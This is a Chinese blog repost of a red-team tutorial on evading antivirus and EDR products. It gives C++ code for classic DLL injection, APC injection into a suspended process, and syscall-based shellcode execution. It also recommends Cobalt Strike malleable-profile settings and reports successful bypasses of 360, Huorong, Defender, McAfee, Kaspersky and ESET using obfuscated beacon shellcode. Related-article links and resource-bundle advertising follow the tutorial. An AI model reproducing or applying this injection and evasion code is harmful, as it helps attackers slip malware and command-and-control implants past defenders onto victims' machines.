【网络安全】红队基础免杀

这篇具有很好参考价值的文章主要介绍了【网络安全】红队基础免杀。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

引言

本文主要介绍“反射型 dll 注入”及“柔性加载”技术。

反射型 dll 注入

为什么需要反射型 dll 注入

常规的 dll 注入代码如下:

int main(int argc, char *argv[]) {HANDLE processHandle;PVOID remoteBuffer;wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");
printf("Injecting DLL to PID: %i\n", atoi(argv[1]));processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);        WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);CloseHandle(processHandle); 
return 0;}

主要做了几件事情:

  1. 从磁盘读取 dll 到 wchar_t 数组

  2. 将该 payload 数组写入目标内存

  3. 在目标内存中找到 LoadLibraryW 函数

  4. 通过 CreateRemoteThread 调用 LoadLibraryW 函数,参数为 dll 在内存中的地址。

这样的操作模式有几个很高危的点。首先,从磁盘读取 dll 需要考虑 dll 的静态免杀,对此我们可以直接写在装载器中并加密。

其次,在目标内存中找到 LoadLibraryW 函数,需要 GetProcAddress LoadLibraryW,这种调用属于很有特征的调用模式,容易被 AV/EDR 归类。对此我们的解决措施就是接下来要提及的反射型 dll 注入技术。

最后,CreateRemoteThread 进行远程线程注入 行为本身就很高危,同时参数是 LoadLibraryW 的地址,一眼 malware。

对此我们优化调用,不再使用 CreateRemoteThread 进而使用创建新进程的方式结合反射型 dll 注入技术改变 dll 注入技术的调用模式。

实现思路

早期的 dll 注入实现原理:

【网络安全】红队基础免杀

上图比较清楚的写了反射型 dll 注入的原理,1,2,3 步由 A 向 B 线程写入 dll。第四步调用 B 线程中的 embedded bootstrapper code。最后通过 bootstrapper shellcode 调用 dll 的导出函数 reflective loader。

reflective loader 实际上是一个自己实现的 LoadLibraryW 函数,从内存中找到我们写入的 dll 并修复使其成为可以被正常使用的 pe 文件,最后调用 DLLmain 实现我们的恶意功能。

我们的具体实现和上面早期的思路有所区别,首先我们不使用远程进程/线程注入的方式,其次我们不需要 bootstrapper shellcode 这个部分,我们可以直接在加载器部分算出 reflective loader 在内存中的地址,直接调用即可。

【一一帮助安全学习,所有资源获取处一一】

①网络安全学习路线

②20 份渗透测试电子书

③安全攻防 357 页笔记

④50 份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100 个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年 CTF 夺旗赛题解析

具体实现

加载器部分

【网络安全】红队基础免杀

首先 shellcode 使用 AES 解密,这部分添加了一些 c 的代码加密

【网络安全】红队基础免杀

后来发现原本项目的 release 目录下有 python 的加密脚本:

【网络安全】红队基础免杀

解密载入内存后,使用 GetReflectiveLoaderOffset 计算出 ReflectLoader 函数的偏移:

【网络安全】红队基础免杀

最后创建线程调用 ReflectLoader 函数。

dll 部分

ReflectiveLoader 一共做了 5 件事:

一、 解析加载 DLL 所需 kernel32.dll WINAPI 的地址(例如 VirtualAlloc, LoadLibraryA 等),通过关键函数的 hash 在内存中搜索,函数 hash:

【网络安全】红队基础免杀

遍历内存进行搜索:

【网络安全】红队基础免杀

二、 将 DLL 及其相应的节写入内存中:

【网络安全】红队基础免杀

三、 建立 DLL 导入表,以便 DLL 可以调用 ntdll.dll 和 kernel32.dll WINAPI

【网络安全】红队基础免杀

四、 修复重定位表:

【网络安全】红队基础免杀

五、 调用 DLL 的入口点:

【网络安全】红队基础免杀

最终我们的恶意代码位于 dllmain 中,项目还是采用加载 shellcode 的方式上线 cs。

柔性加载

限制使用具有 RWX 标记的内存,cs 在 4+可以直接进行相关配置。

【网络安全】红队基础免杀

推荐配置:

set startrwx        "false";set userwx          "false";set cleanup         "true";set stomppe         "true";set obfuscate       "true";set sleep_mask      "true";set smartinject     "true";

牛刀小试

360

使用 base64+xor 混淆 shellcode:

【网络安全】红队基础免杀

成功 bypass:

【网络安全】红队基础免杀

【网络安全】红队基础免杀

火绒

和上述方法相同:

【网络安全】红队基础免杀

【网络安全】红队基础免杀

definder

加强 shellcode 的混淆:

std::string rest2_reference = "xxx@@";std::string rest3_reference = replace(rest2_reference, "@@", "==");

依旧报毒,但是类型发生改变了,说明静态的混淆有效果:

【网络安全】红队基础免杀

异或的操作,比较可疑,经过测试发现是 cs 的 shellcode 出现在数组里就报毒,应该是对内存进行的扫描。

所以我们可以使用《文章二》中提及的技术“规避常见的恶意 API 调用模式”,将 shellcode 分片直接写入连续内存。

在测试的过程中发现莫名其妙的过了查杀:

【网络安全】红队基础免杀

很神奇,这段并没有实现内存的切片写入,因为 shellcode 的大小没有达到 4096,实际上相当于直接分配了个大小为 4096 的数组,写入了 shellcode。

而且把这段代码相同的格式放外面就不行,个人感觉 definder 还是没有去检查内存。

可能是有语义分析的引擎,这次刚好绕过了语义分析。

macfee

同上方法可以成功 bypass:

【网络安全】红队基础免杀

正常执行命令:

【网络安全】红队基础免杀

kasperky Endpoint 11 for windows

用过 macfee 和 definder 的 demo2 测试失败,注释掉代码加载部分不报毒,改用 apc 和创建进程的的方式加载内存:

SIZE_T shellSize = 4096;STARTUPINFOA si = { 0 };PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);HANDLE victimProcess = pi.hProcess;HANDLE threadHandle = pi.hThread;
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, exec, shellSize, NULL);QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);ResumeThread(threadHandle);

依旧不行:

【网络安全】红队基础免杀

使用 syscall 调用 NtCreateThreadEx。这里被坑了,WaitForSingleObject 要使用,不然会异步,没法上线:

ANtCTE(    &hThread,    THREAD_ALL_ACCESS,    NULL,    GetCurrentProcess(),    (LPTHREAD_START_ROUTINE)exec,    NULL,    NULL,    0,    0,    0,    nullptr);WaitForSingleObject(hThread, INFINITE);

能看到效果,行为检测依旧有问题:

【网络安全】红队基础免杀

但漏洞利用防御已经没有相关报警:

【网络安全】红队基础免杀

怀疑是 cs 本身流量特征的问题,为了验证我使用卡巴斯基本身的功能禁用了网络请求:

【网络安全】红队基础免杀

确实不杀也不报警了,确定是 cs 通信的问题。

ESET Endpoint Security

demo3 报警,并且明显检测到网络连接行为

【网络安全】红队基础免杀

静态没有问题

【网络安全】红队基础免杀

主要应该还是在对内存的检测,而且感觉已经执行到了发包

【网络安全】红队基础免杀

下面根据《三》中的“beacon 的内存加密”对 demo3 进行优化,使用 RefleXXion 工具的第二种将内存设为 NO_ACCESS 并通过注册异常处理还原的方式进行免杀。

【网络安全】红队基础免杀

设置流量的白名单:

【网络安全】红队基础免杀

关闭 web 控制后成功并上线

【网络安全】红队基础免杀

eset 在持续在扫描内存,但一直没有权限,一直触发异常,无法进入正常的后门逻辑

【网络安全】红队基础免杀

能绕过内存的检测,但无法正常使用

【网络安全】红队基础免杀

感觉 ESET 一直在我程序里进行内存操作,访问到了不可访问的内存段。

可能 ESET 的机制是一直在扫描程序内存,也可能是想要做一些 hook。

我尝试使用 RefleXXion 的第一种方法,将 shellcode 加密并使属性为 RW 或 RX 的方式加载 shellcode:

【网络安全】红队基础免杀

可以成功上线,并且正常使用:

【网络安全】红队基础免杀

总结

该系列文章所有的 bypass edr 方法都只在用户态进行操作,已经能规避大多数 AV/EDR 的检测。但不乏一些 edr 进行了比较多的内核层面的限制,如炭黑、fireeye 等。文章来源地址https://www.toymoban.com/news/detail-430287.html

到了这里,关于【网络安全】红队基础免杀的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【网络安全】渗透测试之木马免杀

    博主昵称:跳楼梯企鹅 博主主页面链接: 博主主页传送门 博主专栏页面连接:

    2024年02月02日
    浏览(48)
  • 162.网络安全渗透测试—[Cobalt Strike系列]—[Veil免杀]

    1 Veil的使用 (1)Veil主要用于生成:免杀payload (2)下载地址:https://github.com/Veil-Framework/Veil (3)安装过程:https://blog.csdn.net/qq_53079406/article/details/126192511 2 生成有效载荷payload 选择payload Generator 选择Veil 不要选择 x64可能出错。不要打勾就可以了。 3 Veil免杀过程 运行veil 在终

    2023年04月23日
    浏览(56)
  • 【网络安全面经】渗透面经、安服面经、红队面经、hw面经应有尽有 这一篇真的够了

    目录  面经 牛客 奇安信面经(五星推荐) 牛客面经(推荐) 渗透测试面经(推荐) 渗透测试技巧 计网面经 SQL注入漏洞 注入绕过 XXE漏洞 最强面经 Github面经 模拟面 WEB安全 PHP安全 网络安全 密码学 一、青藤 二、360 三、漏洞盒子 四、未知厂商 五、长亭-红队 六、qax 七、天

    2024年02月03日
    浏览(43)
  • 【网络安全】网络安全基础必备技能

    👉博__主👈:米码收割机 👉技__能👈:C++/Python语言 👉公众号👈:测试开发自动化【获取源码+商业合作】 👉荣__誉👈:阿里云博客专家博主、51CTO技术博主 👉专__注👈:专注主流机器人、人工智能等相关领域的开发、测试技术。 网络安全(Cybersecurity)是一个广泛的领域

    2024年02月08日
    浏览(38)
  • 安全基础——常见网络安全产品

    安全产品: 端点安全:恶意软件防护、终端安全管理 网络安全:安全网关、入侵检测与防御、网络监控与审计 应用安全:web安全、数据库安全、邮件安全 数据安全:数据治理、文件管理与加密、数据备份与恢复 身份与访问管理:认证与权限管理、高级认证 安全管理:安全

    2024年02月08日
    浏览(43)
  • 如何学习网络安全?(零基础入门网络安全学习笔记)

    概括来说,网络安全课程的主要内容包括: 安全基本知识 应用加密学 协议层安全 Windows安全(攻击与防御) Unix/Linux安全(攻击与防御) 防火墙技术 入侵监测系统 审计和日志分析 下面分别对每部分知识介绍相应的具体内容和一些参考书。 一、安全基本知识 这部分的学习过

    2024年02月11日
    浏览(45)
  • 【网络安全入门】学习网络安全必须知道的100 个网络基础知识

    什么是链接? 链接是指两个设备之间的连接。它包括用于一个设备能够与另一个设备通信的电缆类型和协议。 2 OSI 参考模型的层次是什么? 有 7 个 OSI 层:物理层,数据链路层,网络层,传输层,会话层,表示层和应用层。 3 什么是骨干网? 骨干网络是集中的基础设施,旨在将

    2024年02月08日
    浏览(50)
  • 从零基础到网络安全专家:全网最全的网络安全学习路线

    网络安全知识体系非常广泛,涉及的领域也非常复杂,有时候即使有想法和热情,也不知道从何入手。 为了帮助那些想要进入网络安全行业的小伙伴们更快、更系统地学习网络安全知识,我制定了这份学习路线。本路线覆盖了网络安全的各个方面,从基础的计算机技术知识、

    2024年02月01日
    浏览(46)
  • 网络安全(零基础)自学

    一、网络安全基础知识 1.计算机基础知识 了解了计算机的硬件、软件、操作系统和网络结构等基础知识,可以帮助您更好地理解网络安全的概念和技术。 2.网络基础知识 了解了网络的结构、协议、服务和安全问题,可以帮助您更好地解决网络安全的原理和技术。 3.安全基础

    2024年02月16日
    浏览(47)
  • 网络安全基础

    网络安全包含两大部分内容:一是网络系统安全,二是网络上的信息安全。它涉及网络系统的可靠性、稳定性,以及网络上信息的保密性、完整性、可用性、真实性和可控性等。 网络系统安全:指保证信息处理和传输系统的安全。 网络上信息的安全:包括用户身份验证,用

    2024年02月02日
    浏览(37)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包